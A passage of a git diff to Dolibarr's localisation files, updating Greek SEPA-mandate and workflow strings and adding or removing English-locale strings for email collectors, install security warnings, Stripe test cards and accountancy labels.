στοιχεία ανα κατάσταση των γραμμών RUM=UMR DateRUM=Ημερομηνία υπογραφής εντολής -RUMLong=Μοναδική αναφορά εντολής -RUMWillBeGenerated=Αν είναι άδειο, θα δημιουργηθεί ένα UMR (Μοναδική αναφορά εντολής) μόλις αποθηκευτούν οι πληροφορίες του τραπεζικού λογαριασμού. +RUMLong=Αναφορά Μοναδικής εντολής(UMR) +RUMWillBeGenerated=Αν είναι κενό, θα δημιουργηθεί ένα UMR (Μοναδική αναφορά εντολής) μόλις αποθηκευτούν οι πληροφορίες του τραπεζικού λογαριασμού. WithdrawMode=Λειτουργία άμεσης χρέωσης (FRST ή RECUR) WithdrawRequestAmount=Ποσό αίτησης άμεσης χρέωσης: BankTransferAmount=Ποσό αιτήματος μεταφοράς πίστωσης: -WithdrawRequestErrorNilAmount=Δεν είναι δυνατή η δημιουργία αίτησης άμεσης χρέωσης για άδειο ποσό. +WithdrawRequestErrorNilAmount=Δεν είναι δυνατή η δημιουργία αίτησης άμεσης χρέωσης για μηδενικό ποσό. SepaMandate=Εντολή άμεσης χρέωσης SEPA SepaMandateShort=Εντολή SEPA PleaseReturnMandate=Παρακαλούμε επιστρέψτε αυτή τη φόρμα εντολής με email στο %s ή μέσω ταχυδρομείου στο -SEPALegalText=Με την υπογραφή αυτής της φόρμας εντολής, εξουσιοδοτείτε (A) %s να στέλνει οδηγίες στην τράπεζά σας για να χρεώσει τον λογαριασμό σας και (B) την τράπεζά σας να χρεώσει τον λογαριασμό σας σύμφωνα με τις οδηγίες του %s. Ως μέρος των δικαιωμάτων σας, δικαιούστε επιστροφή χρημάτων από την τράπεζά σας σύμφωνα με τους όρους και τις προϋποθέσεις της συμφωνίας σας με την τράπεζά σας. Τα δικαιώματά σας σχετικά με την παραπάνω εντολή εξηγούνται σε δήλωση που μπορείτε να λάβετε από την τράπεζά σας. -CreditorIdentifier=Αναγνωριστικό πιστωτή +SEPALegalText=Με την υπογραφή αυτής της φόρμας εντολής, εξουσιοδοτείτε (A) %s και τον πάροχο υπηρεσιών πληρωμών του να στέλνουν οδηγίες στην τράπεζά σας για χρέωση του λογαριασμού σας και (Β) την τράπεζά σας να χρεώσει τον λογαριασμό σας σύμφωνα με τις οδηγίες του %s. Ως μέρος των δικαιωμάτων σας, δικαιούστε επιστροφή χρημάτων από την τράπεζά σας σύμφωνα με τους όρους και τις προϋποθέσεις της συμφωνίας σας με την τράπεζά σας. Τα δικαιώματά σας σχετικά με την παραπάνω εντολή εξηγούνται σε δήλωση που μπορείτε να λάβετε από την τράπεζά σας. +CreditorIdentifier=Αναγνωριστικό Πιστωτή CreditorName=Όνομα πιστωτή SEPAFillForm=(B) Παρακαλούμε συμπληρώστε όλα τα πεδία με την ένδειξη * SEPAFormYourName=Το όνομά σας -SEPAFormYourBAN=Το όνομα τραπεζικού λογαριασμού σας (IBAN) -SEPAFormYourBIC=Ο κωδικός αναγνώρισης τραπεζών (BIC) +SEPAFormYourBAN=Το όνομα του τραπεζικού σας λογαριασμού (IBAN) +SEPAFormYourBIC=Ο κωδικός αναγνώρισης της τράπεζας σας (BIC) SEPAFrstOrRecur=Είδος πληρωμής ModeRECUR=Επαναλαμβανόμενη πληρωμή ModeFRST=Εφάπαξ πληρωμή diff --git a/htdocs/langs/el_GR/workflow.lang b/htdocs/langs/el_GR/workflow.lang index 62f2748e3dc..43b91415825 100644 --- a/htdocs/langs/el_GR/workflow.lang +++ b/htdocs/langs/el_GR/workflow.lang @@ -7,7 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Δημιουργήστε αυτόματα descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Δημιουργήστε αυτόματα ένα τιμολόγιο πελάτη μετά την υπογραφή μιας εμπορικής πρότασης (το νέο τιμολόγιο θα έχει το ίδιο ποσό με την πρόταση) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Δημιουργήστε αυτόματα ένα τιμολόγιο πελάτη μετά την επικύρωση μιας σύμβασης descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Δημιουργήστε αυτόματα ένα τιμολόγιο πελάτη μετά το κλείσιμο μιας εντολής πώλησης (το νέο τιμολόγιο θα έχει το ίδιο ποσό με την εντολή) -descWORKFLOW_TICKET_CREATE_INTERVENTION=Κατά τη δημιουργία εισιτηρίου, δημιουργήστε αυτόματα μια παρέμβαση. +descWORKFLOW_TICKET_CREATE_INTERVENTION=Κατά τη δημιουργία ticket, δημιουργήστε αυτόματα μια παρέμβαση. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Ταξινόμηση της προσφοράς συνδεδεμένης πηγής ως τιμολογημένη όταν η εντολή πώλησης έχει οριστεί ως τιμολογημένη (και εάν το ποσό της εντολής είναι ίδιο με το συνολικό ποσό της συνδεδεμένης υπογεγραμμένης προσφοράς) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Ταξινόμηση της προσφοράς συνδεδεμένης πηγής ως τιμολογημένη όταν επικυρωθεί το τιμολόγιο πελάτη (και εάν το ποσό του τιμολογίου είναι ίδιο με το συνολικό ποσό της συνδεδεμένης υπογεγραμμένης προσφοράς) @@ -22,15 +22,15 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Ταξινόμηση descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Ταξινόμηση της παραγγελίας αγοράς συνδεδεμένης πηγής ως ληφθείσας όταν επικυρωθεί μια παραλαβή (και εάν η ποσότητα που παρελήφθη από όλες τις παραλαβές είναι η ίδια με την παραγγελία αγοράς προς ενημέρωση) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Ταξινόμηση παραγγελίας αγοράς από συνδεδεμένη πηγή ως ληφθείσας όταν μια παραλαβή είναι κλειστή (και εάν η ποσότητα που παρελήφθη από όλες τις παραλαβές είναι η ίδια με την παραγγελία αγοράς προς ενημέρωση) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Ταξινόμηση παραλαβών ως "τιμολογημένες" όταν επικυρωθεί μια συνδεδεμένη παραγγελία προμηθευτή +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Ταξινόμηση των παραλαβών σε "τιμολογημένες" όταν επικυρώνεται ένα συνδεδεμένο τιμολόγιο αγοράς (και εάν το ποσό του τιμολογίου είναι το ίδιο με το συνολικό ποσό των συνδεδεμένων παραλαβών) # Automatically link ticket to contract -descWORKFLOW_TICKET_LINK_CONTRACT=Κατά τη δημιουργία ενός εισιτηρίου, συνδέστε τα διαθέσιμα συμβόλαια του αντίστοιχου τρίτου μέρους +descWORKFLOW_TICKET_LINK_CONTRACT=Κατά τη δημιουργία ενός ticket, συνδέστε τα διαθέσιμα συμβόλαια του αντίστοιχου τρίτου μέρους descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=Όταν συνδέετε συμβόλαια, αναζητήστε μεταξύ αυτών των μητρικών εταιρειών # Autoclose intervention -descWORKFLOW_TICKET_CLOSE_INTERVENTION=Κλείστε όλες τις παρεμβάσεις που συνδέονται με το εισιτήριο όταν ένα εισιτήριο είναι κλειστό +descWORKFLOW_TICKET_CLOSE_INTERVENTION=Κλείστε όλες τις παρεμβάσεις που συνδέονται με το ticket εάν αυτό είναι κλειστό AutomaticCreation=Αυτόματη δημιουργία AutomaticClassification=Αυτόματη ταξινόμηση # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Ταξινόμηση αποστολής συνδεδεμένης πηγής ως κλειστή όταν επικυρωθεί το τιμολόγιο πελάτη +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Ταξινόμηση της αποστολής συνδεδεμένης προέλευσης ως κλειστής όταν επικυρωθεί το τιμολόγιο πελάτη (και εάν το ποσό του τιμολογίου είναι ίδιο με το συνολικό ποσό των συνδεδεμένων αποστολών) AutomaticClosing=Αυτόματο κλείσιμο AutomaticLinking=Αυτόματη σύνδεση diff --git a/htdocs/langs/en_AE/admin.lang b/htdocs/langs/en_AE/admin.lang index c5ab56cb8d8..4117e853156 100644 --- a/htdocs/langs/en_AE/admin.lang +++ b/htdocs/langs/en_AE/admin.lang @@ -1,5 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/en_AE/hrm.lang b/htdocs/langs/en_AE/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/en_AE/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/en_AE/install.lang b/htdocs/langs/en_AE/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/en_AE/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/en_AE/propal.lang b/htdocs/langs/en_AE/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/en_AE/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/en_AE/stripe.lang b/htdocs/langs/en_AE/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/en_AE/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/en_AU/admin.lang b/htdocs/langs/en_AU/admin.lang index 45e2f6bfbf4..db58c22f4ab 100644 --- a/htdocs/langs/en_AU/admin.lang +++ b/htdocs/langs/en_AU/admin.lang @@ -5,6 +5,5 @@ DictionaryVAT=GST Rates or Sales Tax Rates OptionVatMode=GST due LinkColor=Colour of links OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/en_AU/hrm.lang b/htdocs/langs/en_AU/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/en_AU/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/en_AU/install.lang b/htdocs/langs/en_AU/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/en_AU/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/en_AU/propal.lang b/htdocs/langs/en_AU/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/en_AU/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/en_AU/stripe.lang b/htdocs/langs/en_AU/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/en_AU/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/en_CA/admin.lang b/htdocs/langs/en_CA/admin.lang index 591cd054d85..049606832a2 100644 --- a/htdocs/langs/en_CA/admin.lang +++ b/htdocs/langs/en_CA/admin.lang @@ -4,6 +4,5 @@ CompanyZip=Postal code LDAPFieldZip=Postal code FormatZip=Postal code OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/en_CA/hrm.lang b/htdocs/langs/en_CA/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/en_CA/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/en_CA/install.lang b/htdocs/langs/en_CA/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/en_CA/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/en_CA/propal.lang b/htdocs/langs/en_CA/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/en_CA/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/en_CA/stripe.lang b/htdocs/langs/en_CA/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/en_CA/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/en_GB/accountancy.lang b/htdocs/langs/en_GB/accountancy.lang index 8ed034a497b..ec24e4e1046 100644 --- a/htdocs/langs/en_GB/accountancy.lang +++ b/htdocs/langs/en_GB/accountancy.lang @@ -24,7 +24,6 @@ Addanaccount=Add a financial account AccountAccounting=Financial Account ShowAccountingAccount=Show finance account ShowAccountingJournal=Show finance journal -AccountAccountingSuggest=Suggested Financial Account MenuVatAccounts=VAT accounts ProductsBinding=Product accounts Binding=Link to accounts @@ -49,15 +48,11 @@ XLineFailedToBeBinded=%s products/services were not linked to any finance accoun ACCOUNTING_LIST_SORT_VENTILATION_TODO=Begin sorting the page "Links to do" by the most recent elements ACCOUNTING_LIST_SORT_VENTILATION_DONE=Begin sorting the page "Links done" by the most recent elements ACCOUNTING_LENGTH_GACCOUNT=Length of the General Ledger accounts (If you set value to 6 here, the account '706' will appear as '706000' on screen) -ACCOUNTING_SELL_JOURNAL=Sales journal -ACCOUNTING_ACCOUNT_SUSPENSE=Suspense account -DONATION_ACCOUNTINGACCOUNT=Finance account to register donations -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Default sales account (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Default services purchase account (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Default services sales account (used if not defined in the service sheet) LabelAccount=Account name LabelOperation=Account operation NumPiece=Item number +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts AccountingAccountGroupsDesc=Here you can define some groups of financial accounts. They will be used for personalised accounting reports. ByPersonalizedAccountGroups=By personalised groups FeeAccountNotDefined=Account for fees not defined @@ -68,19 +63,13 @@ ErrorDebitCredit=Debit and Credit fields cannot have values at the same time AddCompteFromBK=Add finance accounts to the group ListAccounts=List of the financial accounts Pcgtype=Group account -DescVentilCustomer=View the list of customer invoice lines linked (or not) to a product financial account -DescVentilDoneCustomer=View a detailed list of invoices, customers and their product financial account -DescVentilTodoCustomer=Link invoice lines not already linked with a product finance account -ChangeAccount=Change the product/service finance account for selected lines with the following finance account: DescVentilTodoExpenseReport=Link expense report lines not already linked with a fee finance account DescVentilExpenseReport=View here the list of expense report lines linked (or not) to a fee finance account DescVentilDoneExpenseReport=View here the list of the lines of expense reports and their fees account ValidateHistory=Link Automatically -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this finance account because it is used FicheVentilation=Link card GeneralLedgerIsWritten=Transactions are written to the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalised. If there is no other error message, this is probably because they were already journalised. -ListOfProductsWithoutAccountingAccount=List of products not linked to any finance account ChangeBinding=Change the link Accounted=Posted in ledger ApplyMassCategories=Apply bulk categories diff --git a/htdocs/langs/en_GB/admin.lang b/htdocs/langs/en_GB/admin.lang index f61f52381f7..cc479cead7d 100644 --- a/htdocs/langs/en_GB/admin.lang +++ b/htdocs/langs/en_GB/admin.lang @@ -45,5 +45,3 @@ CompanyZip=Postcode LDAPFieldZip=Postcode GenbarcodeLocation=Barcode generation command line tool (used by internal engine for some bar code types). Must be compatible with "genbarcode".
      For example: /usr/local/bin/genbarcode FormatZip=Postcode -OperationParamDesc=Define the rules to use to extract some data or set values to use for operation.

      Example to extract a company name from email subject into a temporary variable:
      tmp_var=EXTRACT:SUBJECT:Message from company ([^\n]*)

      Examples to set the properties of an object to create:
      objproperty1=SET:a hard coded value
      objproperty2=SET:__tmp_var__
      objproperty3=SETIFEMPTY:a value (value is set only if property is not already defined)
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      diff --git a/htdocs/langs/en_GB/hrm.lang b/htdocs/langs/en_GB/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/en_GB/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/en_GB/install.lang b/htdocs/langs/en_GB/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/en_GB/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/en_GB/loan.lang b/htdocs/langs/en_GB/loan.lang index cf7160c883c..25939cdd6fd 100644 --- a/htdocs/langs/en_GB/loan.lang +++ b/htdocs/langs/en_GB/loan.lang @@ -10,6 +10,3 @@ LoanPaid=Loan Repaid ListLoanAssociatedProject=List of loans associated with this project AddLoan=Create new loan CapitalRemain=Capital Balance -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Financial account - Capital by default -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Financial account - Interest by default -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Financial account - Insurance by default diff --git a/htdocs/langs/en_GB/main.lang b/htdocs/langs/en_GB/main.lang index 5617fe77778..b5606763a65 100644 --- a/htdocs/langs/en_GB/main.lang +++ b/htdocs/langs/en_GB/main.lang @@ -40,3 +40,4 @@ Canceled=Cancelled Color=Colour NoPhotoYet=No picture available yet SearchIntoSupplierProposals=Vendor quotes +Terminate=Deactivate diff --git a/htdocs/langs/en_GB/salaries.lang b/htdocs/langs/en_GB/salaries.lang index 6023f538fa0..8e0e7e8632f 100644 --- a/htdocs/langs/en_GB/salaries.lang +++ b/htdocs/langs/en_GB/salaries.lang @@ -1,4 +1,3 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Financial account used for user third parties SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Financial account by default for wage payments SalariesPayments=Salaries payment diff --git a/htdocs/langs/en_GB/stocks.lang b/htdocs/langs/en_GB/stocks.lang index ba358dbb241..1af3630e4e0 100644 --- a/htdocs/langs/en_GB/stocks.lang +++ b/htdocs/langs/en_GB/stocks.lang @@ -1,6 +1,5 @@ # Dolibarr language file - Source file is en_US - stocks StocksArea=Warehouse area -MassStockTransferShort=Bulk stock transfer QtyDispatchedShort=Quantity dispatched QtyToDispatchShort=Quantity to be dispatched OrderStatusNotReadyToDispatch=Order Status does not allow dispatching of products in stock warehouses. diff --git a/htdocs/langs/en_GB/stripe.lang b/htdocs/langs/en_GB/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/en_GB/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/en_IN/admin.lang b/htdocs/langs/en_IN/admin.lang index 52838fa3e3a..ba8622ddede 100644 --- a/htdocs/langs/en_IN/admin.lang +++ b/htdocs/langs/en_IN/admin.lang @@ -15,6 +15,5 @@ FreeLegalTextOnProposal=Free text on quotations WatermarkOnDraftProposal=Watermark on draft quotations (none if empty) MailToSendProposal=Customer quotations OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/en_IN/hrm.lang b/htdocs/langs/en_IN/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/en_IN/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/en_IN/stripe.lang b/htdocs/langs/en_IN/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/en_IN/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/en_SG/admin.lang b/htdocs/langs/en_SG/admin.lang index c5ab56cb8d8..4117e853156 100644 --- a/htdocs/langs/en_SG/admin.lang +++ b/htdocs/langs/en_SG/admin.lang @@ -1,5 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/en_SG/hrm.lang b/htdocs/langs/en_SG/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/en_SG/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/en_SG/install.lang b/htdocs/langs/en_SG/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/en_SG/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/en_SG/propal.lang b/htdocs/langs/en_SG/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/en_SG/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/en_SG/stripe.lang b/htdocs/langs/en_SG/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/en_SG/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/en_US/accountancy.lang b/htdocs/langs/en_US/accountancy.lang index d2ae1e7f7a1..f189c96939d 100644 --- a/htdocs/langs/en_US/accountancy.lang +++ b/htdocs/langs/en_US/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Select the carriage return type ACCOUNTING_EXPORT_PREFIX_SPEC=Specify the prefix for the file name ThisService=This service ThisProduct=This product -DefaultForService=Default for service -DefaultForProduct=Default for product +DefaultForService=Default for services 